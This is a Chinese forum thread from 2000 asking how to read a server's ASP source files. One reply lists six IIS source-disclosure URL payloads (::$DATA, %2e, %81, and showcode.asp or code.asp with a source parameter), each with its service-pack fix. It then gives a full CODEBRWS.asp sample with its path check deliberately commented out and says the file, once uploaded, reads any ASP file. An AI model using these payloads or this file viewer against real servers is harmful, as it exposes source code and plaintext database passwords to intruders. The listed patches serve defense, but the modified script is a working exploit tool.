能编程实现对服务器端ASP文件的读取吗?请高手赐教!

jinn 2000-08-04 07:59:00
...全文
209 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
chenxixian 2000-08-20
  • 打赏
  • 举报
回复
hblinux说的没错,“想获得源代码,机会甚微,除非你找到服务器的BUG或者后门什么的”

在没有打Services Pack6补丁的NT server上,至少有6种方法可以看到ASP程序的源代码,它们是:

1、http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp
解决方案:删除showcode.asp

2、http://somewhere/something.asp::$DATA
解决方案: 装sp3

3、http://somewhere/something.asp%2e
解决方案: 装sp4

or http://somewhere/something.asp.(加一个点)
解决方案: 装sp4

4、http://somewhere/something%2e%41sp
或者 http://somewhere/something%2e%asp
解决方案: 装sp4

5、http://somewhere/something.asp%81
解决方案:装sp6或者打补丁

6、http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.asp

最大的危害莫过于asp文件可以被上述方式读出;数据库密码以明文形式暴露在黑客眼前;


以下实验我已经在单位的服务器上测试通过,百试百灵。
如果你有win2000,到iissamples中(\Inetpub\iissamples\SDK\ASP\DOCS),找到CODEBRWS.asp
(nt4的文件是/msadc/Samples/SELECTOR/showcode.asp)
改成如下,把\Inetpub\iissamples\SDK\ASP\DOCS\所有文件上传至服务器即可
使用:假设文件上传至服务器http://comeweb/code/,
http://comeweb/code/CODEBRWS.asp?source=/deafult.asp


<% Option Explicit %>

<HTML>
<HEAD>
<META NAME="DESCRIPTION" CONTENT="ASP Source code browser">
<META NAME="GENERATOR" CONTENT="Microsoft Visual InterDev 1.0">
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso8859-1">
</HEAD>

<BODY BGCOLOR=#FFFFFF TOPMARGIN=0 LEFTMARGIN=0 ALINK=#23238E VLINK=#808080 LINK=#FFCC00>
<BASEFONT FACE="VERDANA, ARIAL, HELVETICA" SIZE=2>

<!-- DISPLAY THE COLOR LEGEND -->
<TABLE BORDER=1>
<TR>
<TD WIDTH="25" BGCOLOR="#FF0000">  </TD>
<TD><FONT FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">ASP Script</FONT></TD>
</TR>
<TR>
<TD BGCOLOR="#0000FF">  </TD>
<TD><FONT FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">Comments</FONT></TD>
</TR>
<TR>
<TD BGCOLOR="#000000">  </TD>
<% If InStr(UCase(Request("Source")),".CDX") > 0 Then %>
<TD><FONT FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">XML and Text</FONT></TD>
<% Else %>
<TD><FONT FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">HTML and Text</FONT></TD>
<% End If %>
</TR>
</TABLE>

<HR>
<FONT FACE="VERDANA, ARIAL, HELVETICA" SIZE="2">
<% OutputSource %>
</FONT>
</BODY>
</HTML>

<SCRIPT LANGUAGE=VBScript RUNAT=Server>


REM ************************************** 注意这是用过滤地址的
REM intended behavior: 如不是/IISSAMPLES就不让看asp源码
REM allow access to only .asp, .htm, .html, .inc files 所以,以后的代码只要有fValidPath就要rem
REM in some directory starting from /IISSAMPLES
REM and without .. in the path
REM **************************************

FUNCTION fValidPath (ByVal strPath)
If InStr(1, strPath, "/iissamples/", 1) Then
' the beginning of the string looks good
Dim dwLen
Dim SomeKnownExtension
SomeKnownExtension = false
dwLen = Len(strPath)
If Not SomeKnownExtension Then
If InStr(dwLen-5,strPath,".html",1) Then
SomeKnownExtension = true
End If
End If
If Not SomeKnownExtension Then
If InStr(dwLen-4,strPath,".htm",1) Then
SomeKnownExtension = true
End If
End If
If Not SomeKnownExtension Then
If InStr(dwLen-4,strPath,".asp",1) Then
SomeKnownExtension = true
End If
End If
If Not SomeKnownExtension Then
If InStr(dwLen-4,strPath,".inc",1) Then
SomeKnownExtension = true
End If
End If
If Not SomeKnownExtension Then
fValidPath = 0
Exit Function
End If
' now the most importan part: look for ..
If InStr(1,strPath,"..",1) Then
fValidPath = 0
Else
fValidPath = 1
End If
Else
fValidPath = 0
End If
END FUNCTION
</SCRIPT>



<%
Sub OutputSource
Dim strVirtualPath, strFilename
strVirtualPath = Request("Source")

rem 代码只要有fValidPath就要rem
rem If fValidPath(strVirtualPath) Then
strFilename = Server.MapPath(strVirtualPath)

Dim FileObject, oInStream, strOutput
Set FileObject = CreateObject("Scripting.FileSystemObject")
Set oInStream = FileObject.OpenTextFile(strFilename, 1, 0, 0)
While NOT oInStream.AtEndOfStream
strOutput = oInStream.ReadLine
Call PrintLine(strOutput, fCheckLine(strOutput))
Response.Write "<BR>"
Wend
rem 代码只要有fValidPath就要rem
rem Else
Response.Write("<H1>View Active Server Page Source-- Access Denied</H1>")
rem 代码只要有fValidPath就要rem
rem End If
End Sub

' Returns the minimum number greater than 0
' If both are 0, returns -1
Function fMin(iNum1, iNum2)
If iNum1 = 0 AND iNum2 = 0 Then
fMin = -1
ElseIf iNum2 = 0 Then
fMin = iNum1
ElseIf iNum1 = 0 Then
fMin = iNum2
ElseIf iNum1 < iNum2 Then
fMin = iNum1
Else
fMin = iNum2
End If
End Function

Function fCheckLine (ByVal strLine)
Dim iTemp, iPos
fCheckLine = 0
iTemp = 0

iPos = InStr(strLine, "<" & "%")
If fMin(iTemp, iPos) = iPos Then
iTemp = iPos
fCheckLine = 1
End If

iPos = InStr(strLine, "%" & ">")
If fMin(iTemp, iPos) = iPos Then
iTemp = iPos
fCheckLine = 2
End If

iPos = InStr(1, strLine, "<" & "SCRIPT", 1)
If fMin(iTemp, iPos) = iPos Then
iTemp = iPos
fCheckLine = 3
End If

iPos = InStr(1, strLine, "<" & "/SCRIPT", 1)
If fMin(iTemp, iPos) = iPos Then
iTemp = iPos
fCheckLine = 4
End If

iPos = InStr(1, strLine, "<" & "!--", 1)
If fMin(iTemp, iPos) = iPos Then
iTemp = iPos
fCheckLine = 5
End If

iPos = InStr(1, strLine, "-" & "->", 1)
If fMin(iTemp, iPos) = iPos Then
iTemp = iPos
fCheckLine = 6
End If

End Function

Sub PrintHTML (ByVal strLine)
Dim iPos, iSpaces, i
iSpaces = Len(strLine) - Len(LTrim(strLine))
i = 1
While Mid(Strline, i, 1) = Chr(9)
iSpaces = iSpaces + 5
i = i + 1
Wend
If iSpaces > 0 Then
For i = 1 to iSpaces
Response.Write(" ")
Next
End If
iPos = InStr(strLine, "<")
If iPos Then
Response.Write(Left(strLine, iPos - 1))
Response.Write("<")
strLine = Right(strLine, Len(strLine) - iPos)
Call PrintHTML(strLine)
Else
Response.Write(strLine)
End If
End Sub

Sub PrintLine (ByVal strLine, iFlag)
Dim iPos
Select Case iFlag
Case 0
Call PrintHTML(strLine)

Case 1
iPos = InStr(strLine, "<" & "%")
Call PrintHTML(Left(strLine, iPos - 1))
Response.Write("<FONT COLOR=#ff0000>")
Response.Write("<%")
strLine = Right(strLine, Len(strLine) - (iPos + 1))
Call PrintLine(strLine, fCheckLine(strLine))

Case 2
iPos = InStr(strLine, "%" & ">")
Call PrintHTML(Left(strLine, iPos -1))
Response.Write("%>")
Response.Write("</FONT>")
strLine = Right(strLine, Len(strLine) - (iPos + 1))
Call PrintLine(strLine, fCheckLine(strLine))

Case 3
iPos = InStr(1, strLine, "<" & "SCRIPT", 1)
Call PrintHTML(Left(strLine, iPos - 1))
Response.Write("<FONT COLOR=#0000ff>")
Response.Write("<SCRIPT")
strLine = Right(strLine, Len(strLine) - (iPos + 6))
Call PrintLine(strLine, fCheckLine(strLine))

Case 4
iPos = InStr(1, strLine, "<" & "/SCRIPT>", 1)
Call PrintHTML(Left(strLine, iPos - 1))
Response.Write("</SCRIPT>")
Response.Write("</FONT>")
strLine = Right(strLine, Len(strLine) - (iPos + 8))
Call PrintLine(strLine, fCheckLine(strLine))

Case 5
iPos = InStr(1, strLine, "<" & "!--", 1)
Call PrintHTML(Left(strLine, iPos - 1))
Response.Write("<FONT COLOR=#0000ff>")
Response.Write("<!--")
strLine = Right(strLine, Len(strLine) - (iPos + 3))
Call PrintLine(strLine, fCheckLine(strLine))

Case 6
iPos = InStr(1, strLine, "-" & "->", 1)
Call PrintHTML(Left(strLine, iPos - 1))
Response.Write("-->")
Response.Write("</FONT>")
strLine = Right(strLine, Len(strLine) - (iPos + 2))
Call PrintLine(strLine, fCheckLine(strLine))

Case Else
Response.Write("Function Error -- Please contact the administrator.")
End Select
End Sub
%>
华南虎哥 2000-08-05
  • 打赏
  • 举报
回复
如果是进行数据处理是没问题的,但如果想获得源代码,机会甚微,除非你找到服务器的BUG或者后门什么的

9,506

社区成员

发帖
与我相关
我的任务
社区描述
Windows专区 安全技术/病毒
社区管理员
  • 安全技术/病毒社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧